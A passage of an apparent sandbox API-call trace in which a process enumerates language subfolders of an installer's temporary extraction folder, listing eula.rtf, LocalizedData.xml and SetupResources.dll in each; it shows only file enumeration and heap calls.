	[0061.049] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.049] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e06b0
	[0061.050] FindNextFileW (in: hFindFile=0x5e06b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.050] FindNextFileW (in: hFindFile=0x5e06b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.050] FindNextFileW (in: hFindFile=0x5e06b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.050] FindNextFileW (in: hFindFile=0x5e06b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.050] FindNextFileW (in: hFindFile=0x5e06b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.050] FindClose (in: hFindFile=0x5e06b0 | out: hFindFile=0x5e06b0) returned 1
	[0061.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.050] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1045", cAlternateFileName="")) returned 1
	[0061.051] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.051] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e04b0
	[0061.051] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.051] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.051] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.052] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.052] FindNextFileW (in: hFindFile=0x5e04b0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.052] FindClose (in: hFindFile=0x5e04b0 | out: hFindFile=0x5e04b0) returned 1
	[0061.052] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.052] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1046", cAlternateFileName="")) returned 1
	[0061.052] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.052] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0570
	[0061.053] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.053] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe63, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.053] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.053] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.053] FindNextFileW (in: hFindFile=0x5e0570, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.053] FindClose (in: hFindFile=0x5e0570 | out: hFindFile=0x5e0570) returned 1
	[0061.053] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.053] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1049", cAlternateFileName="")) returned 1
	[0061.054] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.054] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e09f0
	[0061.054] FindNextFileW (in: hFindFile=0x5e09f0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.054] FindNextFileW (in: hFindFile=0x5e09f0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xd4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.054] FindNextFileW (in: hFindFile=0x5e09f0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.054] FindNextFileW (in: hFindFile=0x5e09f0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.055] FindNextFileW (in: hFindFile=0x5e09f0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.055] FindClose (in: hFindFile=0x5e09f0 | out: hFindFile=0x5e09f0) returned 1
	[0061.055] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.055] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1053", cAlternateFileName="")) returned 1
	[0061.055] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.055] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1053\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0870
	[0061.056] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.056] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf19, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.056] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.056] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.056] FindNextFileW (in: hFindFile=0x5e0870, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.056] FindClose (in: hFindFile=0x5e0870 | out: hFindFile=0x5e0870) returned 1
	[0061.056] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.056] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1055", cAlternateFileName="")) returned 1
	[0061.056] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.056] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e07f0
	[0061.057] FindNextFileW (in: hFindFile=0x5e07f0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0061.057] FindNextFileW (in: hFindFile=0x5e07f0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0061.057] FindNextFileW (in: hFindFile=0x5e07f0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0061.057] FindNextFileW (in: hFindFile=0x5e07f0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0061.057] FindNextFileW (in: hFindFile=0x5e07f0, lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0061.057] FindClose (in: hFindFile=0x5e07f0 | out: hFindFile=0x5e07f0) returned 1
	[0061.057] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0061.057] FindNextFileW (in: hFindFile=0x5e0670, lpFindFileData=0x389fa7c | out: lpFindFileData=0x389fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="2052", cAlternateFileName="")) returned 1
	[0061.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4240050
	[0061.058] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x389f800 | out: lpFindFileData=0x389f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5e0730
